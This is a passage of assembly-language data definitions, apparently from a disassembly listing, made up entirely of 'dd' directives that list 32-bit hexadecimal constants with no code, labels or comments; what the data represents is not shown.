		dd 11938523h, 0A6BD5BA3h, 86A76D6Bh, 0D5A3307Dh, 42C2363Ch
		dd 57D3E89h, 4A3C38C1h,	0C41D4EE8h, 3AD28807h, 825951A4h
		dd 4631B3E0h, 0C533DD5Ah, 6EBA1109h, 3D282810h,	4F6D8AAFh
		dd 0AF152799h, 9F677831h, 9636C931h, 0EDE9C8C8h, 0FAA23847h
		dd 88B33BD9h, 8D262ACBh, 0C1A72596h, 419490E0h,	9F4FD702h
		dd 6C6AEA7Ch, 4EAC7CFAh, 778C294Ch, 0B0FBE865h,	92BBD6CDh
		dd 0BA1A00F3h, 7CC3EAAAh, 4083ECD4h, 0DE93370Dh, 1C92F37h
		dd 99CB2927h, 0A3554BBBh, 8F91EA68h, 926E6898h,	22279A61h
		dd 0AB0234A1h, 0E963931Bh, 79C9A0C5h, 39AABD09h, 0DEB75D18h
		dd 0C0809920h, 0D3FAC1E7h, 0E9F71976h, 815D6496h, 0DD95569Eh
		dd 2C3AFB46h, 0BA8C1173h, 0D9A764D1h, 3430B23Ah, 0BBCC8652h
		dd 35E96382h, 762D18ABh, 0B944E570h, 829F6486h,	74879675h
		dd 1CFE3A9h, 1FA7BF26h,	57B62AE2h, 9B99D1AEh, 0E7CF5DD5h
		dd 102C04A8h, 3CBAEB11h, 52CCC2EBh, 0F528FD06h,	0B5C7C3BEh
		dd 0E9F4338h, 0CE96E0FFh, 0EBE63748h, 57CFF11Fh, 51DAF13Ah
		dd 0F43C0459h, 2E79859Ch, 0AB20DD10h, 0AAF9095h, 0DF43221Fh
		dd 77E9B92Fh, 58D12ACh,	9A97FCE7h, 0B352235Ch, 94783F23h
		dd 80C73231h, 0DD47C850h, 651CF700h, 47A2A6A7h,	7F33510h
		dd 0E355AC8Ch, 2ACB553Ah, 46586E21h, 74064FE2h,	0B168FDCFh
		dd 941B22B3h, 8F2A7D4Dh, 5D98BC94h, 0D182605h, 10E2EF7Fh
		dd 6F7256B6h, 0C6289C0Ch, 18453150h, 0BE39788Bh, 0A42FD60Dh
		dd 0A9FC0C87h, 0CF8AF298h, 0ABBD7549h, 3DEF1CADh, 753E3B79h
		dd 28225423h, 0EB5B7E69h, 19EA0A68h, 4EBB9BEDh,	465FCDBCh
		dd 0F1681596h, 4B0C892Ah, 36A00839h, 0BD2670B2h, 8E58E2FAh
		dd 0E1DE709Fh, 4A794834h, 0C2C61821h, 0F7EA238h, 0AFAE680Ch
		dd 3C7C11ECh, 6141FEEBh, 0D8A8E6A7h, 5788F602h,	0E23BB980h
		dd 9FFC9398h, 7A8303A2h, 1C0C27CCh, 5079EABAh, 4877F84Eh
		dd 0D6E3C73Dh, 5B13EC72h, 124F32ADh, 27418F5h, 7E9C8F1Eh
		dd 93C22635h, 2C63BDEBh, 6888F3D3h, 0E9B53EABh,	0D39C5CE9h
		dd 8A6B0097h, 0C098B71Bh, 8D4A96F4h, 39A7FB72h,	0A0A612EDh
		dd 741AB511h, 0F6BF4055h, 38083E47h, 34E8B2C3h,	0F100042h
		dd 7C9ABF61h, 0EB41FB1Dh, 8CBCD7h, 220D4A17h, 404643CAh
		dd 7722D342h, 0EC5A167h
		dd 0FC7138F9h, 246315DAh, 2278D886h, 0F56577E5h, 7CDB7601h
		dd 759D299Eh, 0ED49AB4Eh, 0C084DD8h, 6D7E55C0h,	8FD71A6h
		dd 7B71B998h, 1A784AFBh, 5747FB4Ah, 8E4A4477h, 6FC9AD34h
		dd 812E8895h, 0D28A820Dh, 62C3FB4Bh, 0A02C8978h, 0B2592DF0h
		dd 0CF785226h, 0A459491Ch, 0A4E6216Fh, 2E1E6DABh, 0FE165A77h
		dd 92F3548Eh, 60443BDDh, 5F129A0Fh, 0BF769BE0h,	6F48D829h
		dd 0FD0B5DDEh, 0EFDCF04h, 0A5D584BEh, 0DDF63CB5h, 0E92D882Dh
		dd 0D66B8032h, 77F3B80Bh, 1462DB26h, 57DF49FDh,	0A32E4D0Ch
		dd 0D8639FDAh, 0E3CF6B8Ah, 0CA2FDB5Fh, 4F55C23Eh, 19A8BF84h
		dd 0CB3D5AF7h, 0C00E83E4h, 0D1CFD1CBh, 0FD217C4Dh, 3291B66h
		dd 0BD10F957h, 0D822D591h, 0FC9EA3C2h, 0D127B91Ch, 0B35CE6B0h
		dd 0E4BE065Fh, 0CFF1AFEh, 43B5D75Ch, 76362B9Bh,	0C5550F65h
		dd 1B70B62Eh, 97E0D6DFh, 0BCAF1271h, 432598EEh,	0CAA71116h
		dd 22B95986h, 81C6A25Bh, 0BB179027h, 0E133C422h, 612A7242h
		dd 443C6BEFh, 22F4BFBEh, 2F9BA4E8h, 0C498E69h, 615DD369h
		dd 0BEE14702h, 0A2BC46BAh, 0B34DC8B1h, 0B8EF87E0h, 0DE061DDFh
		dd 9CBDB969h, 0B40834CAh, 0DDC4A07Dh, 47EFE8EAh, 0B1CE9546h
		dd 0D2544F30h, 0C0A660E0h, 9F06D4D6h, 1528EB12h, 82265281h
		dd 7BF899Eh, 0A4E7B38Dh, 0A92A71F4h, 2D2C5DC5h,	1B6570D2h
		dd 0D15A2CA8h, 0F2984779h, 0AEB27A3Fh, 60FFB23Fh, 4BB7A958h
		dd 939AFF20h, 4C8C9252h, 0EB4211AEh, 2961A445h,	9D8C0812h
		dd 0D69B79Ah, 8F26079Ah, 9685CFD7h, 0CEE47252h,	0B31AE443h
		dd 38C1B9EBh, 0D0FA5CFEh, 7F10B78Dh, 0B6B5EE71h, 0A4C8CCFFh
		dd 5C480A6Eh, 2AA8B4BCh, 89B5EDB8h, 0D4E347Fh, 0E1579171h
		dd 42977BAAh, 1EACFA50h, 387A6B6h, 7FD37B70h, 3610D231h
		dd 0DD828299h, 8FE356Bh, 6D30A385h, 9EBA122Eh, 0C2CBC7F2h
		dd 7CF61D30h, 58265512h, 0E7497F96h, 6ECCF7C8h,	5C2F917Eh
		dd 935D9ACDh, 0A3000240h, 0A5F67B8h, 0F91C66D5h, 9EAFEDC0h
		dd 0CD5E2A40h, 0FA06EE68h, 6A9DD564h, 8813FE2Ch, 0A567E5A1h
		dd 0FB28DB6Fh, 2F85B1AAh, 0BFE286A2h, 16B09E19h, 6700EFE2h
		dd 0F0CFE09Dh, 664B8DFh, 0DB6E2888h, 834C824Eh,	1CC0225Fh
		dd 2A605CF1h, 3E045F83h, 0A1F8CF85h, 81FE1A02h,	0D5290F40h
		dd 18316944h, 6A7FD1C5h, 8616805Dh, 2711FAE2h, 0CD4CB6F0h
		dd 7D5D404h, 807CAC9Ah,	0C51C266Eh, 0D4A59403h,	32ADDA3Bh
		dd 0E6C039B8h, 5FF63469h, 64AD39EFh, 6ECA34BBh,	0CE24F1D1h
		dd 951D659Eh, 4A5B0884h, 0B364831Dh, 7B762873h,	6F6A50BFh
		dd 2B84A602h, 4B4BB22Dh, 1F0BEA7Bh, 0A9E4BD05h,	0A1EA1A18h
		dd 0A89E1951h, 2D4C1DEDh, 90314352h, 30F27192h,	3514E4B0h
		dd 29142512h, 62552241h, 3ACE05C1h, 0DA7C0A82h,	8778E47Ch
		dd 0DE084A8Ah, 0F3D7B7C6h, 355FC899h, 9A8C78DDh, 39CD2F77h
		dd 746C7603h, 7B15D883h, 0F8E572C3h, 0B52A55FCh, 74376E3h
		dd 0B513A072h, 0ADA79968h, 86BC6F94h, 7409A70Bh, 0E86C64A0h
		dd 9B4875B6h, 1B91E2E7h, 233EECBDh, 4393CA88h, 353211ABh
		dd 7CE500A2h, 632FA5D8h, 8DC8CAC9h, 548E78A9h, 0B8AD2678h
		dd 5B9FD1B2h, 2FF604A7h, 9F09940Eh, 0F90C3663h,	0A8DF9D36h
		dd 0B20388EAh, 275B6046h, 0DA8BA94Eh, 0B57DCC61h, 246829BDh
		dd 58BBADADh, 0C4368D5Eh, 0EB553C4Eh, 1D4860BAh, 57B8990Ch
		dd 0D756C698h, 78F349E2h, 0D4C9D764h, 0BF8C63Bh, 0D0F96B51h
		dd 87C08ABCh, 0D449F41h, 5FAD4AC8h, 376DECF8h, 5CA2AC0h
		dd 25B46399h, 375D39F8h, 8618F20Ah, 1EEAA2E9h, 0FC5C88A7h
		dd 66B7B0A8h, 0BDB01F46h, 68E95EA0h, 73BC7076h,	226474F3h
		dd 643A3EE3h, 0E55167BAh, 7C21357Ah, 0D3EFF5D1h, 0D5D2AB6h
		dd 0B1146A79h, 6DD32C2Eh, 0DA8F2D17h, 1E8EB656h, 699109Eh
		dd 0B935DEE9h, 8926559h, 0C06CDC0Bh, 0CA9D3728h, 64235C19h
		dd 0E7BBE976h, 0AE435B56h, 9AD89743h, 5958DCF8h, 123DD5D4h
		dd 3207AB30h, 442861FFh, 0A2A30126h, 3AA682FEh,	7D2718D6h
		dd 98AA618Eh, 3484762Ch, 5AC3B2C4h, 634CF467h, 1D61A42Eh
		dd 0F157E2B6h, 0A972091Eh, 56BC43DCh, 8377B286h, 0D43CE071h
		dd 44EC076h, 8B6A0EBFh,	0EBFC2BEFh, 0DBDCEAF0h,	8EE1A060h
		dd 4A8925ABh, 45F74AB7h, 4CE25BCFh, 4B024250h, 74EFBE41h
		dd 96FFC7FFh, 5F70F52Dh, 96300820h, 64E3301Eh, 0C41F8830h
		dd 3E58AC6Eh, 4B14497Ch, 0B8987D49h, 7AFB0922h,	461F0BD0h
		dd 8B6D722Ah, 0FE07E0B9h, 4B444F48h, 8093735Ch,	147F6FC3h
		dd 3DF8CB75h, 7A383CDBh, 5CA814DDh, 66B2202h, 31A732Eh
		dd 0ACD191C9h, 8EFAB18Dh, 2CB3E05h, 0D3AE5AEFh,	58F5AF2Ah
		dd 0FFF44809h, 0CE71B9B7h, 0B42DDB1Ah, 72775C30h, 0DC7D772Dh
		dd 0AF6CB1D9h, 0DF43377Fh, 8847FF6Ch, 0DDD83F6Fh, 72B79D8h
		dd 2E839DD9h, 9A213ACFh, 88A989A2h, 507596B9h, 0BAE08561h
		dd 57C579D1h, 177FF363h, 0A349F03Bh, 5BBAD3D5h,	0B931ACFFh
		dd 0CFEC30F8h, 6B12382Dh, 0F5CB1179h, 166E4D33h, 0C1146B65h
		dd 9275D1C8h, 0FDD5BCF5h, 0E578FD09h, 202C1817h, 4945A0FDh
		dd 0B89D1F74h, 0ABC2908Ah, 0E83ACC1h, 0CB1A722h, 72654167h
		dd 0E7296A9Eh, 81F8A8E7h, 0FC7A6D9Eh, 0C2037CB9h, 73C8BF89h
		dd 0D467B1FDh, 8404BC1Ah, 858EF5F3h, 0AE0F1F5Bh, 1C994DA2h
		dd 497AEA99h, 0DB851FF0h, 55FB1A85h, 14E9FF8Ah,	0CAD747B5h
		dd 86E951F2h, 7B682A5Fh, 4DFFEB95h, 73784527h, 0B4CB3FE3h
		dd 500B9225h, 0E62D9358h, 6F707D2Fh, 987012CCh,	2F90AF0Ch
		dd 0F127840Ch, 968EF152h, 0B63158E5h, 0A43A8CA8h, 0C72ED942h
		dd 0BF9D1DCDh, 6A2352FEh, 0F637CB08h, 0C309E649h, 0C7E01402h
		dd 6AF92DE0h, 37AD66FBh, 0B76157Dh, 558916C5h, 8A8572A0h
		dd 3CE4CE84h, 0B60E30F3h, 0D8A5F49Eh, 2C24286h,	0AC3B5419h
		dd 0BAA6FAB7h, 6CD99525h, 266AA5CCh, 2552FAACh,	0A0F19CB8h
		dd 0E0F112ADh, 8931332Dh, 0E27E5A4h, 7D1AEDDFh,	0C0C2D607h
		dd 85FF121Bh, 11F6E5FAh, 75319C59h, 0CB350F7Ch,	30AD742Eh
		dd 0C574C6EAh, 0D203D5A5h, 0C47961EEh, 9A99CA10h, 9B6A8B66h
		dd 0E55BC769h, 2C6F0121h, 10FD0EB0h, 74BCE5D3h,	7D93D6A0h
		dd 1EC79E43h, 0BEAA9D4Eh, 0F84D9908h, 0BE2E75EAh, 628818E4h
		dd 284C67D9h, 9DD7A0D8h, 9D45EA84h, 6A10EFFFh, 2C7A9464h
		dd 6DCC0AE4h, 0E173771h, 7393916Bh, 49251254h, 57A30B09h
		dd 51A257E9h, 0DE1DA2A8h, 2B624D24h, 2AAFE9D2h,	0AADB4404h
		dd 1BD80D41h, 49925B56h, 87209257h, 30E524FEh, 0AEF67580h
		dd 7379D264h, 7DA3127Dh, 49E20519h, 0C1C0C544h,	0A7378831h
		dd 275CFFCEh, 98C3A2F9h, 0D6A1279h, 82C6491Ch, 8AE2AC66h
		dd 0AAF66C4Eh, 74B56631h, 19854E5Dh, 0EC48AC71h, 6AE83258h
		dd 0F2A16E21h, 0C94A4A7Ah, 0D0C89542h, 21D12052h, 0C9F4D49Ch
		dd 249E4A43h, 0C1D2319Ah, 9297F2DBh, 59688D9h, 72C70525h
		dd 0DEE3B2FCh, 9AFC249Eh, 0FE2C196Ah, 686357E2h, 0E2FCAEDAh
		dd 0EDCAF161h, 0A82D28C1h, 8CD90EAAh, 0A6A7FC54h, 0BED4CFC2h
		dd 2F52B29Bh, 0A829C888h, 0D51B324Bh, 0E01AA631h, 59CDB7E9h
		dd 0D8353507h, 55F0CCA9h, 8853DCB2h, 0D4207472h, 0D05BB6Fh
		dd 0DBD6E173h, 70E9C7E8h, 6BE86E52h, 0D167C195h, 0B6809F58h
		dd 0F971FA69h, 12288986h, 0D551B88Ah, 0FC14F29Ah, 0F3073E4Ah
		dd 5666EE0Ah, 0E4947B44h
		dd 0CA90194h, 0C870CF0Dh, 72FAC7B7h, 0EBAAF91Bh, 0E145C281h
		dd 0F3793AF1h, 7B2B3731h, 6C26BB92h, 50A05211h,	66C299A0h
		dd 9FE939D4h, 2BCF158Ch, 0E1FAB1E2h, 0C69B6CFBh, 4F3A296Ah
		dd 1A07118Eh, 5FFBBFACh, 0EE513FBh, 3FC26BD8h, 9A38344Eh
		dd 0E823078Ch, 99593C51h, 0B6FC6573h, 0A7B5063h, 3C035D40h
		dd 0A8C8F008h, 370FB65Ah, 7BA38427h, 169637DFh,	703D1D2Ch
		dd 75373640h, 87C5579h,	0BB0EE986h, 0AC90CE73h,	1E9C7B49h
		dd 9C961FD3h, 0F6EFA85Fh, 21EC3DA6h, 0E13F6BE4h, 0A9C17525h
		dd 4C81C205h, 7C11640Fh, 52F71BF1h, 429662ACh, 3C58AE35h
		dd 0D9B1F44Ch, 0DECB60AAh, 2DFB13A7h, 6AAC5FF5h, 0EBBC0E8Ch
		dd 63704C69h, 299DA56Bh, 206D4C56h, 9C20C120h, 9AB71F50h
		dd 63FAC22Bh, 0B0C649E5h, 0EB93C820h, 0AC6F70C8h, 23A0C266h
		dd 0CB4B5E0Eh, 0A4A7E019h, 2B9E6FEh, 0AC86A345h, 0F4E4DCC7h
		dd 6AAA8416h, 0D90073ABh, 44F0094Bh, 0B3F5F2BEh, 27675395h
		dd 9F068B85h, 0F0B6493Eh, 0F71628D7h, 0EAD69BEDh, 0A020C757h
		dd 58B15F0Ah, 333344A2h, 0A6E6593Eh, 792BD171h,	9A13E485h
		dd 46DDBF7Dh, 0C6B662BCh, 0DE7ECB01h, 0FA5F8DA2h, 0F03DBD43h
		dd 0F5187322h, 0E55A64A3h, 0CEF2B356h, 913F16E1h, 4D18644Eh
		dd 12561751h, 2B92F0ECh, 0AE6C1D3h, 0B613024Eh,	25C9D90Ch
		dd 9CFAEB7h, 0D6B76856h, 179D6384h, 1541F31Fh, 747CA67Ah
		dd 0B4A2D8E6h, 0DEDBE104h, 0E147356h, 8DA38A67h, 0E2FFBFECh
		dd 3D4070C0h, 38CDAD45h, 7400B769h, 46E7A585h, 0E1FDABA3h
		dd 9DFE998Ch, 0EE7F6126h, 5E8596C0h, 92190358h,	23DA11AEh
		dd 745784D6h, 0FADF1958h, 0A309B50Ah, 8F6AF602h, 2B1C53BBh
		dd 68BFA34h, 0E6BE00EEh, 64F4686Eh, 5709AE43h, 9C24EE08h
		dd 7BB567FDh, 23264AE4h, 4E6DC410h, 23423EDDh, 8FFE01FCh
		dd 95BF6042h, 0F4B370F5h, 279D8278h, 94DD9F35h,	5E484500h
		dd 0C8F63646h, 0F0E4DD39h, 0C8B202FEh, 284917FBh, 0DC6B54B2h
		dd 36992251h, 587A050Eh, 0A2038B3Fh, 9CCA054Eh,	546DA97Eh
		dd 99A0E317h, 34DF029Fh, 0C57C4BA0h, 4641D988h,	0A973B30h
		dd 218AEB63h, 0F2074E80h, 0F6CB5078h, 0AA311D3h, 5FA008D9h
		dd 0BCF123F4h, 1772857Bh, 0DC801E86h, 78F3B138h, 66868D90h
		dd 6095E982h, 613CDB3Bh, 978EFD96h, 56021161h, 89816DCBh
		dd 804B6A5Ah, 9AB0B2C3h, 0BF281801h, 613C840Ch,	1EB6376h
		dd 2B80E9AFh, 0E73F33A0h, 7DA2CC17h, 3D0A757Ah,	2407AE20h
		dd 3C32007Bh, 267D5B0h,	5A69E5E1h, 88DBCFA5h, 58C2E2F0h
		dd 961AE781h, 75928B2Ah, 46751588h, 0E97898F5h,	8CF0820Ah
		dd 0D16AF6F9h, 7D3D2816h, 210F2501h, 3F1AB91Ch,	44193625h
		dd 632E2FF2h, 0A3539E9Ah, 383DB9DEh, 0FAD6486Ch, 6F01BB8h
		dd 596594D1h, 90179838h, 0AFEF06C0h, 451AF9FAh,	5C504709h
		dd 0CB42C6D0h, 83AC3318h, 2B1C996Eh, 509843Ah, 94D00548h
		dd 553DEC03h, 0CE793079h, 313AEE22h, 8BB414AAh,	6C22F9B8h
		dd 460799E5h, 93191A13h, 63E716D2h, 0A25A010Ch,	66E55E05h
		dd 0FBF1BB8Fh, 80EEF071h, 31C1AFBCh, 0FED46931h, 0E316661Dh
		dd 1D31CC4Fh, 59F7C034h, 0A2785F10h, 0A91BEC66h, 8C901C1Eh
		dd 4D2D02B3h, 0FEB6AD29h, 78BE90DCh, 5B3F2B3Fh,	0C146F6ABh
		dd 0DECCCD49h, 6BC617F3h, 0E6156694h, 0C366E8Ah, 6EFA0D06h
		dd 0EC02FE83h, 0BEE19743h, 64678639h, 0AFEAC355h, 0DD4BB049h
		dd 4B827247h, 0B548C787h, 23852151h, 5B7E7EDFh,	62B369D2h
		dd 0ED01320Fh, 92FC6CB3h, 3E7D280Dh, 0B5CEF9E4h, 0F459E5F4h
		dd 15282AD5h, 0EE04E45Eh, 0D17A2122h, 0A4BFA410h, 201E3B3Bh
		dd 25E4AFDAh, 9048E3BCh, 0D7CECF5Eh, 0BDD55917h, 0D41BDFF3h
		dd 0D78DE520h, 63FDA7C5h, 380A14A1h, 56C051CEh,	0E5992F80h
		dd 0B5076723h, 9E679DDFh, 1D590115h, 31255C95h,	0BBAD49D5h
		dd 0B5BD6FBh, 9EC8B943h, 64B99E75h, 0F13C50A2h,	0FC4A3746h
		dd 0FF35F27Fh, 9AD64816h, 0A7D733FCh, 890B0625h, 8879BC2Dh
		dd 0C076E41Eh, 1CCD5681h, 0BD8589AAh, 5E487C38h, 0F062B2D4h
		dd 9EC3A384h, 73B45433h, 0DB73FCEAh, 1247210Bh,	0B10FB6BDh
		dd 0EA49807Ah, 648E18FCh, 869CFCDFh, 28C58B98h,	6D8FCCE3h
		dd 84F9C058h, 86AB7A9Dh, 0E57F854Bh, 0BFA7F321h, 0AB979990h
		dd 77FE033Eh, 6FA293F0h, 735B92C8h, 96C949Dh, 3BE44BCFh
		dd 0C5A11C9Ch, 7DB41721h, 0F8E1DAA7h, 26A32D32h, 8E2225E4h
		dd 1D7D8170h, 5DCFC05Bh, 0F18B2441h, 407766F7h,	0D9818AF5h
		dd 20678520h, 978B37h, 0EA0CC84h, 0BEDC909Ah, 1403E33Fh
		dd 5C6AEAEBh, 0B81C4BD6h, 95C9667Eh, 0AAE8350Ah, 23A3C62Eh
		dd 32508220h, 6B610122h, 1BF59CFAh, 13E35D45h, 56F46534h
		dd 161899C3h, 5C161ED3h, 10837EEFh, 591CE505h, 9F4694C4h
		dd 5A631273h, 813D20A0h, 0C2A08F0Fh, 0DEC57469h, 0F9753A52h
		dd 4D257E2h, 0E63B4219h, 7FC60A2Eh, 6888E8E9h, 4CEC2E57h
		dd 2A82B1E4h, 0E076D788h, 24D21C00h, 0C2DA7DA2h, 7208EA1h
		dd 0F9E24A01h, 267052C2h, 268BEB88h, 74913D2Dh,	0FD2CBA2h
		dd 6A3FF7EFh, 46644F37h, 41ADC62h, 6F83902Fh, 2F4DD9DFh
		dd 0EA11A56Dh, 0AE922685h, 37C2AEE3h, 81EF72ACh, 0F0BEDABFh
		dd 3F68AAE6h, 2826C9CEh, 22B0532Ah, 305AE38Bh, 2FB4FEBFh
		dd 64E3EBD4h, 0E5DF6B2Bh, 0C678BDAEh, 0A72C5B6Ah, 7612EC4h
		dd 1BE7DAC6h, 246866EBh, 53C6A7F7h, 0E8B1405Eh,	338CD08h
		dd 0A3232BDFh, 0BBE7C52Eh, 990A11E3h, 17016041h, 1787BDD2h
		dd 672F4AEEh, 2613A687h, 0D9C33AB1h, 144FA282h,	3DAD0Bh
		dd 849DBDEDh, 1052825Ah, 0B3C46E46h, 85FE2C12h,	8C38287Bh
		dd 3EE94A6Fh, 982F189Ah, 0B80450F0h, 466CD7DEh,	0CCFEB192h
		dd 0AB8030F0h, 9E379D99h, 0C4770F04h, 9A8F6FEDh, 0E2ABF2D3h
		dd 2AA3DDDAh, 8F6B0B84h, 8C0FB4A0h, 0C50DB4EEh,	0C5DD4E2Fh
		dd 498DCB28h, 2B6374A8h, 61919BCEh, 9D7DCB13h, 0AC9B6CA3h
		dd 52174B47h, 0C8B32C7h, 0E313D5ACh, 0FBB3102h,	0D261F0Bh
		dd 2B541A7Ch, 1A1D89D6h, 34E5B5DCh, 860C50C2h, 5BADB1F7h
		dd 84CF0860h, 0F97AE252h, 0D9A8F0Eh, 312698D4h,	0EB378470h
		dd 0B72AE117h, 0E6798935h, 0F7C0278Fh, 751FC1B5h, 6963AF8Eh
		dd 7FD989B9h, 0BB281B8Ch, 0FC59D3EEh, 123AD7Eh,	0B947C5A4h
		dd 0E863B724h, 0B0E5D1EAh, 5366F17Ch, 0B09294E0h, 0EE9EC16Dh
		dd 8DF27BFDh, 470A416Bh, 47F06979h, 0F78584Fh, 9935AFE8h
		dd 0EFCCB54Eh, 0A3F03F4h, 0AAC8C4A3h, 0C06B323Eh, 94AF6A94h
		dd 1FE3EBDEh, 6F41DC79h, 1EF8A788h, 4503C098h, 39BDB88Fh
		dd 4210A4C4h, 3188ADAh,	0DAD483D5h, 16842F98h, 0D4026EDh
		dd 70BB79D5h, 0D7856438h, 4F4E45E6h, 0B7438C05h, 21C53A1Dh
		dd 268F428Ch, 70BE5177h, 9EC2089Bh, 0B43AF13Eh,	837945B0h
		dd 57CC20CBh, 0FE24AC52h, 2CAB34BAh, 55CF2553h,	7762B948h
		dd 0CF97DC21h, 6A7999D4h, 8A619AFEh, 882D2874h,	43BA9611h
		dd 7E22F769h, 3178E07Bh, 0C71E392Dh, 2A5AB81Dh,	1CFE089Ch
		dd 0CBBAE36Ah, 4F11B8A5h, 49D4BEF4h, 76462888h,	0A383ABC5h
		dd 89ECAD42h, 0FD9831A2h, 0A4A9DBB0h, 0A349CC5h, 0AADBDD80h
		dd 6DBA15F1h, 0A90BC6F2h, 80C00098h, 0A5C9E32Ah, 53879B9Eh
		dd 5BF90E33h, 323193C0h, 0B2FEE3CEh, 1DA1EF29h,	8ECE87F8h
		dd 0A5FF92E5h, 713BBFA3h
		dd 0B8570AA8h, 6A53E5BBh, 9DDE80F4h, 6BCFB5C9h,	0FC02ACE6h
		dd 0A3C5258Ch, 0A4A106A1h, 0FCEFF2C4h, 0A2748675h, 8E984961h
		dd 0E26367EEh, 8B82F7DBh, 308DE9C6h, 66D3F061h,	973F6E30h
		dd 419D6016h, 64DDB221h, 393A537Ch, 0A9DB6F1Ah,	3D884B36h
		dd 570632Ah, 625B67B2h,	85401544h, 85D95A0Eh, 20247E55h
		dd 0A1D91378h, 80B71B40h, 57EE88CBh, 70029A2Dh,	92B4F6FDh
		dd 10EA0920h, 949D001Ch, 0AB6B22E4h, 0E4F6F5F9h, 0BB456A0Ah
		dd 56127E32h, 5A2DDD45h, 0C51D043Fh, 0A4DBF084h, 2B3615BAh
		dd 0BC7A7B52h, 6FA25DC4h, 0ECB70150h, 0A662A31Ch, 55684C47h
		dd 42343630h, 8367D0CFh, 84ACF203h, 8CC571E1h, 228AC8DEh
		dd 0E8075F20h, 0F3F7D8D3h, 58E708E0h, 4975928h,	9F2BD1F7h
		dd 71FCEDCAh, 0D8ECCBDBh, 179B021Ch, 87128632h,	6CC5F863h
		dd 0DAA050A2h, 5DBE071Bh, 557802EAh, 3B28EFD7h,	458CA279h
		dd 5E7EEDCDh, 6922EE94h, 9FC3BA3Dh, 0F6C59632h,	88A94069h
		dd 0DEE21CC8h, 2FDAC2CDh, 60A7862Fh, 2E779BBBh,	342C55EDh
		dd 0EFD81C22h, 5ACA1428h, 98A55959h, 0FF4F3E56h, 433C0162h
		dd 73DEDDD5h, 8415E45Eh, 70EE4A8Eh, 6BB4DBC9h, 0D28C8D2h
		dd 2B9BED11h, 9D25428Fh, 0CE3B1969h, 0FA4CE1B3h, 0D8D174Ah
		dd 42BD63B9h, 63DACCBEh, 0D2B44615h, 0BE61CB7Dh, 0D57F076h
		dd 4918D89Dh, 848ABC1Dh, 1013445Fh, 6F195F9Fh, 691B652h
		dd 383C9C71h, 5EDE024Ch, 9E3A7D4Bh, 908F4891h, 215C2530h
		dd 29F2FDA6h, 0C3B92C0Ah, 0B280DAC4h, 210278A6h, 8B2B3748h
		dd 0F47B635Eh, 37BD130Bh, 0F85C6CC1h, 0B4D5E84Ch, 57028C80h
		dd 12C1C062h, 2FA0B994h, 69A9648Fh, 38827887h, 5C13E893h
		dd 30368544h, 47939D3Fh, 121639A7h, 7431D658h, 0B2240F6Fh
		dd 0EB199311h, 748C9752h, 38263518h, 760D4090h,	8CED3B58h
		dd 98A55A60h, 0AB8BF7B7h, 0E08ED1B5h, 0FDAFA3B8h, 4C9A649Dh
		dd 44D8EBF0h, 0FC180B0Ch, 90F761F9h, 0F315836Eh, 0DEE441E1h
		dd 3B4E6101h, 0A2F43171h, 55C01E75h, 1EC70FA8h,	1A8A5AB8h
		dd 88D2013Ah, 8A9D85Ah,	356D1064h, 0C56018C6h, 0B4D33E82h
		dd 830D0834h, 58456A28h, 0E1148E2Fh, 6BE9119Ah,	5804F5B0h
		dd 57754DFEh, 5CF4E5C0h, 695FF4EBh, 9D89D847h, 13D5663Eh
		dd 0B488D83Eh, 0E683FDAAh, 1A3143FAh, 0EEBF7FB1h, 1AB1C61Eh
		dd 0A4A9CDAh, 8546C0D9h, 8D633974h, 9E36FD19h, 22145E6Bh
		dd 3E73FF6Eh, 59BD2841h, 6524F35h, 91E660C6h, 0B3BFC34Fh
		dd 6A3C8A2Fh, 0E6A24D35h, 8E45BBB1h, 0BE5F3346h, 0F6D1A1C0h
		dd 0C0588A8Bh, 0B1D368E6h, 0E919E45Eh, 4142B7C4h, 1F59FABh
		dd 0C47D02DAh, 0E75E0AA3h, 0E08EA048h, 0BE5954BBh, 6FC9849h
		dd 0AD01213Ch, 7EC2A2E9h, 0B783FC97h, 84EF42E6h, 8D177C1Bh
		dd 0F52A595Ah, 0A3B48F67h, 0A1355A31h, 0B1D652ACh, 8BE16876h
		dd 0AE58503Fh, 2E8E2116h, 928E0795h, 0F0790E05h, 656781A9h
		dd 8F7251A7h, 0C6B272ADh, 372F31C1h, 591C0369h,	57BA4533h
		dd 0EB13D4B2h, 94E22885h, 50811169h, 0A4221A35h, 9A73385Dh
		dd 46B0C4D4h, 7BA1F4C2h, 5572E202h, 22E62A47h, 0C13B650Ch
		dd 0DEFA587Ch, 0D8BFD9Ch, 1985D8D3h, 53FBB461h,	20D2A720h
		dd 0CE25941h, 9741252Ch, 1C7B3DE8h, 0E1872F07h,	43BF18C5h
		dd 4A9D567Fh, 0AD02F10Fh, 0E3FDB380h, 0C8C56C43h, 0A5A114AAh
		dd 4C3265ABh, 0E7809E67h, 0DD39337Bh, 0CD180416h, 0A3333997h
		dd 67FF173Ah, 5EFF91D7h, 7D8833ECh, 0C26D80B9h,	2D98E4EFh
		dd 81458D29h, 6A57FCB6h, 0F1A8A852h, 0A766CE58h, 965CD46Dh
		dd 87A33EF2h, 1B3C9F8Dh, 93855D7Bh, 0CA18729Dh,	0BBA74813h
		dd 1659A296h, 6A3A8CF4h, 77AB6B2Bh, 837C9EE4h, 1C24C28h
		dd 6FE8F6F9h, 7CBEB58Dh, 0BB5A8F58h, 8E085B5h, 3CAB6D21h
		dd 0B27D06Ah, 15CA802Ah, 0F01A09BDh, 0D98267FAh, 0A4A0623Ah
		dd 65D85C6Fh, 3FE85B4h,	92FBAA1Eh, 2B5C1664h, 0CB1836BBh
		dd 28EA04C9h, 427D4C6Ch, 94F975E1h, 768EE04Eh, 0FB854541h
		dd 0F2B49B81h, 0D1554AA9h, 0D13D9F72h, 0CC390614h, 0DB5C62BDh
		dd 0B28C101Bh, 238CC9F7h, 0B49B501h, 0D56D1479h, 466CE80Fh
		dd 67999F4Fh, 48A884DDh, 107B9C59h, 75B435CBh, 0AC119B56h
		dd 5BF307EEh, 67261F00h, 194D2E8Fh, 0F2166226h,	28E9413Ch
		dd 0BDEED930h, 0B4FA6935h, 6745D77Ah, 1E5B459Bh, 1861B8Dh
		dd 0DB28F6A4h, 66C5C7DAh, 0C79D06DCh, 0E972FBE2h, 8F18F78Eh
		dd 0EC1DAA7h, 966070B6h, 0EE2A5691h, 758CCEA4h,	0DF34C381h
		dd 48467979h, 0FED50EEh, 0A14E6CB8h, 0C1A5725h,	4E30A4A4h
		dd 6A0FD226h, 0CD52FE55h, 3714D947h, 1156C9Ch, 3CA43BFDh
		dd 0CAD80DA7h, 0E346B29h, 0A5E4C926h, 74614443h, 420D793Ch
